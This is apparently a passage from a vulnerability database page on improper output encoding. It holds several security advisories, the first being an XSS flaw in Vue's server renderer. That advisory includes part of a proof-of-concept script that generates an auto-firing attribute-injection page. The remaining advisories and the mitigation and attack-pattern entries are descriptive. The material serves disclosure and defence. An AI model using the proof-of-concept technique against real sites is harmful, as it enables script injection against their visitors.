Vue\\\u0027s real ssrRenderAttrs() returned exactly this string ===\u0027);\nconsole.log(JSON.stringify(vueOutput));\n\n// Build the full page around Vue\u0027s UNMODIFIED output -- the \u003cimg ...\u003e tag\n// content between the angle brackets is copied byte-for-byte from vueOutput,\n// not retyped.\nconst html = `\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eVue SSR PoC -- byte-for-byte Vue output\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch3\u003eEverything inside the \u0026lt;img\u0026gt; tag below was written to this file\nprogrammatically from the real return value of \u003ccode\u003essrRenderAttrs()\u003c/code\u003e\nin the actual installed \u003ccode\u003e@vue/server-renderer@3.5.41\u003c/code\u003e package.\nNo HTML was hand-typed for the tag itself.\u003c/h3\u003e\n\u003cp\u003eExact JSON-escaped string Vue\u0027s function returned (see generate_real_poc.mjs, run right before this file was written):\u003c/p\u003e\n\u003cpre id=\"vue-output-proof\"\u003e${vueOutput.replace(/\u003c/g, \u0027\u0026lt;\u0027)}\u003c/pre\u003e\n\u003chr\u003e\n\u003cimg${vueOutput}\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n`;\n\nconst outPath = \u0027/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html\u0027;\nfs.writeFileSync(outPath, html);\nconsole.log(\u0027\\nWrote\u0027, outPath);\nconsole.log(\u0027Bytes inside the \u003cimg...\u003e tag are Vue\\\u0027s real, unmodified return value.\u0027);\n```\n\nOpening that generated file in a real browser fires the payload automatically:\n\n\u003cimg width=\"1666\" height=\"449\" alt=\"poc5\" src=\"https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a\" /\u003e\n\nDev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue\u0027s real return value:\n\n\u003cimg width=\"1348\" height=\"400\" alt=\"poc6\" src=\"https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb\" /\u003e\n\nWhether this affects client-side (non-SSR) Vue rendering was also checked: it doesn\u0027t, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `\"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That\u0027s a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue.\n\n## Impact\n\nThis requires an application to bind an object whose keys (not just values) come from a source the developer doesn\u0027t fully control, via `v-bind=\"object\"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that\u0027s already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it\u0027s a real, documented, supported Vue feature, not a misuse of the framework -- and it\u0027s exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it\u0027s already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).\n\nWhere it\u0027s reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That\u0027s a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.\n\n## Suggested fix\n\nAdd U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`:\n\n```ts\nconst unsafeAttrCharRE = /[\u003e/=\"\u0027\\u0009\\u000a\\u000c\\u000d\\u0020]/\n```\n\nDouble-checking against the full WHATWG \"ASCII whitespace\" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that\u0027s exactly the kind of list that\u0027s easy to leave a gap in, which is what happened here.",
"id": "GHSA-g2v6-rqmx-r4w6",
"modified": "2026-10-05T22:50:55Z",
"published": "2026-10-05T22:50:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/pull/15266"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/commit/a2b40db9a83b36ed9da3a16403cf8f040262d73f"
},
{
"type": "PACKAGE",
"url": "https://github.com/vuejs/core"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/releases/tag/v3.5.42"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/releases/tag/v3.6.0-rc.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@vue/server-renderer: XSS via missing CR in attribute-name blacklist"
}
GHSA-G2VG-8HFG-79VJ
Vulnerability from github – Published: 2024-12-24 06:30 – Updated: 2025-02-07 06:31A vulnerability in Koji was found. An unsanitized input allows for an XSS attack. Javascript code from a malicious link could be reflected in the resulting web page. It is not expected to be able to submit an action or make a change in Koji due to existing XSS protections in the code.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "koji"
},
"ranges": [
{
"events": [
{
"introduced": "1.35.0"
},
{
"fixed": "1.35.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.35.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "koji"
},
"ranges": [
{
"events": [
{
"introduced": "1.34.0"
},
{
"fixed": "1.34.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "koji"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.33.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-9427"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-26T20:22:34Z",
"nvd_published_at": "2024-12-24T04:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Koji was found. An unsanitized input allows for an XSS attack. Javascript code from a malicious link could be reflected in the resulting web page. It is not expected to be able to submit an action or make a change in Koji due to existing XSS protections in the code.",
"id": "GHSA-g2vg-8hfg-79vj",
"modified": "2025-02-07T06:31:13Z",
"published": "2024-12-24T06:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9427"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-9427"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2316047"
},
{
"type": "WEB",
"url": "https://docs.pagure.org/koji/CVEs/CVE-2024-9427"
},
{
"type": "PACKAGE",
"url": "https://pagure.io/koji"
},
{
"type": "WEB",
"url": "https://pagure.io/koji/c/8c72d90d7bb991f8fb193851b80847ac9e9474a4?branch=master"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Koji Cross-site Scripting"
}
GHSA-G4PX-P74V-Q4C7
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11Under very specific conditions a user could be impersonated using Gitlab shell. This vulnerability affects GitLab CE/EE 13.1 and later through 14.1.2, 14.0.7 and 13.12.9.
{
"affected": [],
"aliases": [
"CVE-2021-22254"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-20T18:15:00Z",
"severity": "MODERATE"
},
"details": "Under very specific conditions a user could be impersonated using Gitlab shell. This vulnerability affects GitLab CE/EE 13.1 and later through 14.1.2, 14.0.7 and 13.12.9.",
"id": "GHSA-g4px-p74v-q4c7",
"modified": "2022-05-24T19:11:48Z",
"published": "2022-05-24T19:11:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22254"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1087806"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22254.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/300265"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G4VP-M682-QQMP
Vulnerability from github – Published: 2023-08-11 19:00 – Updated: 2023-08-11 19:00Impact
OpenZeppelin Contracts is a library for secure smart contract development. Starting in version 4.0.0 and prior to version 4.9.3, contracts using ERC2771Context along with a custom trusted forwarder may see _msgSender return address(0) in calls that originate from the forwarder with calldata shorter than 20 bytes. This combination of circumstances does not appear to be common, in particular it is not the case for MinimalForwarder from OpenZeppelin Contracts, or any deployed forwarder the team is aware of, given that the signer address is appended to all calls that originate from these forwarders.
Patches
The problem has been patched in v4.9.3.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/contracts"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/contracts-upgradeable"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40014"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-11T19:00:48Z",
"nvd_published_at": "2023-08-10T20:15:10Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nOpenZeppelin Contracts is a library for secure smart contract development. Starting in version 4.0.0 and prior to version 4.9.3, contracts using `ERC2771Context` along with a custom trusted forwarder may see `_msgSender` return `address(0)` in calls that originate from the forwarder with calldata shorter than 20 bytes. This combination of circumstances does not appear to be common, in particular it is not the case for `MinimalForwarder` from OpenZeppelin Contracts, or any deployed forwarder the team is aware of, given that the signer address is appended to all calls that originate from these forwarders.\n\n### Patches\n\nThe problem has been patched in v4.9.3.\n",
"id": "GHSA-g4vp-m682-qqmp",
"modified": "2023-08-11T19:00:48Z",
"published": "2023-08-11T19:00:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-g4vp-m682-qqmp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40014"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4481"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4484"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/commit/9445f96223041abf2bf08daa56f8da50b674cbcd"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/commit/e4435eed757d4309436b1e06608e97b6d6e2fdb5"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.3/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/releases/tag/v4.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenZeppelin Contracts vulnerable to Improper Escaping of Output"
}
GHSA-G5M9-Q65C-X6M4
Vulnerability from github – Published: 2024-06-06 09:30 – Updated: 2024-06-11 18:30A host whitelist parser issue in the proxy service implemented in the GravityZone Update Server allows an attacker to cause a server-side request forgery. This issue only affects GravityZone Console versions before 6.38.1-2 that are running only on premise.
{
"affected": [],
"aliases": [
"CVE-2024-4177"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T08:15:39Z",
"severity": "HIGH"
},
"details": "A host whitelist parser issue in the proxy service implemented in the GravityZone Update Server allows an attacker to cause a server-side request forgery. This issue only affects GravityZone Console versions before 6.38.1-2 that are running only on premise.",
"id": "GHSA-g5m9-q65c-x6m4",
"modified": "2024-06-11T18:30:43Z",
"published": "2024-06-06T09:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4177"
},
{
"type": "WEB",
"url": "https://bitdefender.com/consumer/support/support/security-advisories/host-whitelist-parser-issue-in-gravityzone-console-on-premise-va-11554"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-4177"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.